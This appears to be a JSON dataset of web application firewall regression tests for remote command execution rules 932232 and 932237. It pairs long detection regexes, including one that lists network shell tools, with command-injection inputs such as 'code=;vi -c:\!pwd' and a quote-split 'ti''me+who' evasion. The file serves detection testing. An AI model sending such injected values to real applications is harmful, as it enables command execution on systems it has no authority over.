"(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*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?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?n|s)|v[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*|d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?n[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?f|w[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:h[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o|(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932232", "test_description": "Remote Command Execution bypass with time" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=time+warner" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(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\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?n|s)|v[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*|d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?n[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?f|w[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:h[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o|(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932232", "test_description": "Remote Command Execution bypass with time negative test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=ti''me+who" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name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[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?n|s)|v[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?i)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*|d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?n[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?f|w[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:h[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o|(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932232", "test_description": "Remote Command Injection test for BB finding 935E1D91 - time evasion attempt" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;vi dddd +silent\\\\ \\!whoami +wq\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:(?:GE|POS)T|y(?:e(?:s|lp)|um|arn)|HEAD)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get|itude(?:[\\s\\x0b&\\),<>\\|]|$))|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:[\\s\\x0b&\\),<>\\|]|$|h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|t(?:[\\s\\x0b&\\),<>\\|]|$|obm(?:[\\s\\x0b&\\),<>\\|]|$))|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|io(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:t(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab)))|d(?:(?:[dfu]|i(?:(?:alo)?g|r|ff)|a(?:sh|te)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|nf(?:[\\s\\x0b&\\),<>\\|]|$)?|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:[bd]|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:d|rb|conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:(?:re|unt)(?:[\\s\\x0b&\\),<>\\|]|$)|squitto)|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:(?:ul)?l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|hp(?:[\\s\\x0b&\\),<>\\|]|$|-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|y(?:3?versions|thon[23]))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|r(?:een|ipt))|g|ash|diff|ftp|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|h(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass))|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:(?:(?:ca|r)t|urce)(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|me(?:[\\s\\x0b&\\),<>\\|]|$|datectl|out(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:[\\s\\x0b&\\),<>\\|]|$|m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|a(?:ll|tch))(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:o(?:[\\s\\x0b&\\),<>\\|]|$|ami|is(?:[\\s\\x0b&\\),<>\\|]|$))?|iptail(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))(?:\\b|[^0-9A-Z_a-z])", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932237", "test_description": "9323HNQU - should not be detected at PL 2" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;vi -c:\\!pwd\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:(?:GE|POS)T|y(?:e(?:s|lp)|um|arn)|HEAD)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get|itude(?:[\\s\\x0b&\\),<>\\|]|$))|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:[\\s\\x0b&\\),<>\\|]|$|h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|t(?:[\\s\\x0b&\\),<>\\|]|$|obm(?:[\\s\\x0b&\\),<>\\|]|$))|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|io(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:t(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:pass